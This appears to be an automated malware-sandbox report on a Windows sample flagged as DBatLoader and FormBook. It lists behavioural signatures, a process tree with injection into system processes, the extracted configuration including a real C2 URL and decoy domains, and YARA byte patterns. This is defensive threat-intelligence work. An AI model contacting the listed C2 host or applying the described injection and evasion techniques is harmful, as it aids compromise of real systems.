Edit tour

Windows Analysis Report
Fpopgapwdcgvxn.exe

Overview

General Information

Sample Name:	Fpopgapwdcgvxn.exe
Analysis ID:	1350545
MD5:	072d323c28e7ba4d63eb7df9894f33c9
SHA1:	cf6a2b1ba98bf303e93b4070919ec1cd30262377
SHA256:	d164c7ce3856705552a7dcd91f577c12162d5eb522153e33e91f86536cac5fb2
Tags:	exeFormbookmodiloader
Infos:

Detection

DBatLoader, FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

System process connects to network (likely due to code injection or exploit)

Antivirus detection for URL or domain

Snort IDS alert for network traffic

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected FormBook

Malicious sample detected (through community Yara rule)

Yara detected DBatLoader

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Machine Learning detection for sample

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Tries to detect virtualization through RDTSC time measurements

Sample uses process hollowing technique

Allocates many large memory junks

Drops PE files with a suspicious file extension

Writes to foreign memory regions

Modifies the prolog of user mode functions (user mode inline hooks)

Queues an APC in another process (thread injection)

Machine Learning detection for dropped file

Modifies the context of a thread in another process (thread injection)

C2 URLs / IPs found in malware configuration

One or more processes crash

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Contains functionality to launch a process as a different user

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Checks if the current process is being debugged

Yara detected Keylogger Generic

Contains functionality to retrieve information about pressed keystrokes

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Yara signature match

Internet Provider seen in connection with other malware

Found potential string decryption / allocating functions

Contains functionality to call native functions

Contains functionality to record screenshots

Contains functionality to check if a connection to the internet is available

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

Extensive use of GetProcAddress (often used to hide API calls)

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

Fpopgapwdcgvxn.exe (PID: 2268 cmdline: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe MD5: 072D323C28E7BA4D63EB7DF9894F33C9)

colorcpl.exe (PID: 5112 cmdline: C:\Windows\System32\colorcpl.exe MD5: DB71E132EBF1FEB6E93E8A2A0F0C903D)

explorer.exe (PID: 4004 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

rundll32.exe (PID: 6708 cmdline: C:\Windows\SysWOW64\rundll32.exe MD5: 889B99C52A60DD49227C5E485A016679)

cmd.exe (PID: 5196 cmdline: /c del "C:\Windows\SysWOW64\colorcpl.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Telragab.PIF (PID: 4780 cmdline: "C:\Users\Public\Libraries\Telragab.PIF" MD5: 072D323C28E7BA4D63EB7DF9894F33C9)

colorcpl.exe (PID: 6928 cmdline: C:\Windows\System32\colorcpl.exe MD5: DB71E132EBF1FEB6E93E8A2A0F0C903D)

Telragab.PIF (PID: 368 cmdline: "C:\Users\Public\Libraries\Telragab.PIF" MD5: 072D323C28E7BA4D63EB7DF9894F33C9)

SndVol.exe (PID: 1016 cmdline: C:\Windows\System32\SndVol.exe MD5: BD4A1CC3429ED1251E5185A72501839B)

WerFault.exe (PID: 5780 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 368 -s 2180 MD5: C31336C1EFC2CCB44B4326EA793040F2)

chkdsk.exe (PID: 6856 cmdline: C:\Windows\SysWOW64\chkdsk.exe MD5: B4016BEE9D8F3AD3D02DD21C3CAFB922)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DBatLoader	This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.	No Attribution	https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4 https://malcat.fr/blog/exploit-steganography-and-delphi-unpacking-dbatloader/ https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader https://news.sophos.com/en-us/2020/09/24/email-delivered-modi-rat-attack-pastes-powershell-commands	https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/ https://asec.ahnlab.com/en/32149/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.hivaom.top/ao65/"], "decoy": ["spins2023.pro", "foodontario.com", "jsnmz.com", "canwealljustagree.com", "shopthedivine.store", "thelakahealth.com", "kuis-raja-borong.website", "hbqc2.com", "optimusvisionlb.com", "urdulatest.com", "akhayarplus.com", "info-antai-service.com", "kermisbedrijfkramer.online", "epansion.com", "gxqingmeng.top", "maltsky.net", "ictwath.com", "sharmafootcare.com", "mycheese.net", "portfoliotestkitchen.com", "gwhi13.cfd", "fuzzybraintrivia.com", "thnkotb.com", "merchdojacat.com", "1techtrendzstore.com", "cnkclaw.net", "xsslm888.com", "musecheng.net", "flowandfield.online", "somdevista.com", "baissm.top", "xn--88-uqi1dtk.com", "cewra.com", "stellarskyline.com", "mbutunerfitness.com", "ssongg13916.cfd", "sprockettrucking.com", "boonts.cfd", "oaistetic.com", "enfejbazi1sjrttrsjegfwafe.click", "you-can-too.com", "chamdiemcchc.com", "mrgdistilling.info", "yptv1.com", "ecofare.xyz", "ouxodb001.cfd", "sdymavillageculturehouse.com", "carbolife.net", "iokgw1.top", "harmonicod.com", "bbpinata.com", "grfngr.design", "colibriinvest.com", "infossphere.space", "glistenbeautylounge.com", "paysprinters.online", "ruhaniiyat.com", "leathfortexas.com", "tuesdayfolder.com", "autoinsurancebound.com", "scwanguan.fun", "darkcreamslivki.xyz", "0qtqg.com", "ycth3hhtkd.asia"]}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Fpopgapwdcgvxn.exe	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\Public\Libraries\Telragab.PIF	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.4615095340.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.4615095340.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.4615095340.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000006.00000002.4615095340.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.4615095340.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.4608973113.0000000000710000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.4608973113.0000000000710000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.4608973113.0000000000710000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000006.00000002.4608973113.0000000000710000.00000040.80000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.4608973113.0000000000710000.00000040.80000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
0000000C.00000002.2614531899.00000000065F0000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000C.00000002.2614531899.00000000065F0000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000C.00000002.2614531899.00000000065F0000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
0000000C.00000002.2614531899.00000000065F0000.00000040.00000400.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000C.00000002.2614531899.00000000065F0000.00000040.00000400.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
0000000C.00000002.2614107141.00000000046D0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000C.00000002.2614107141.00000000046D0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000C.00000002.2614107141.00000000046D0000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
0000000C.00000002.2614107141.00000000046D0000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000C.00000002.2614107141.00000000046D0000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.2333009592.0000000014D50000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000002.2333009592.0000000014D50000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000000.00000002.2333009592.0000000014D50000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000000.00000002.2333009592.0000000014D50000.00000040.00001000.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000002.2333009592.0000000014D50000.00000040.00001000.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000003.00000002.2387834740.0000000005280000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000003.00000002.2387834740.0000000005280000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.2387834740.0000000005280000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000003.00000002.2387834740.0000000005280000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000003.00000002.2387834740.0000000005280000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.2332347871.0000000014B9A000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000002.2332347871.0000000014B9A000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000000.00000002.2332347871.0000000014B9A000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6999:$a1: 3C 30 50 4F 53 54 74 09 40 0x1d2c8:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xb107:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x15fef:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000000.00000002.2332347871.0000000014B9A000.00000004.00001000.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0xa050:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xa2ba:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x15ded:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x158d9:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x15eef:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x16067:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xacd2:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x14b54:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb9cb:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1c02f:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1d032:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000002.2332347871.0000000014B9A000.00000004.00001000.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18f51:$sqlite3step: 68 34 1C 7B E1 0x19064:$sqlite3step: 68 34 1C 7B E1 0x18f80:$sqlite3text: 68 38 2A 90 C5 0x190a5:$sqlite3text: 68 38 2A 90 C5 0x18f93:$sqlite3blob: 68 53 D8 7F 8C 0x190bb:$sqlite3blob: 68 53 D8 7F 8C
00000003.00000002.2387807340.0000000005250000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000003.00000002.2387807340.0000000005250000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.2387807340.0000000005250000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000003.00000002.2387807340.0000000005250000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000003.00000002.2387807340.0000000005250000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000003.2317053804.000000007EBB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000003.2317053804.000000007EBB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000000.00000003.2317053804.000000007EBB0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6261:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb90:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9cf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158b7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000000.00000003.2317053804.000000007EBB0000.00000004.00001000.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9918:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8fa:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000003.2317053804.000000007EBB0000.00000004.00001000.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
0000000C.00000002.2614057783.00000000046A0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000C.00000002.2614057783.00000000046A0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000C.00000002.2614057783.00000000046A0000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
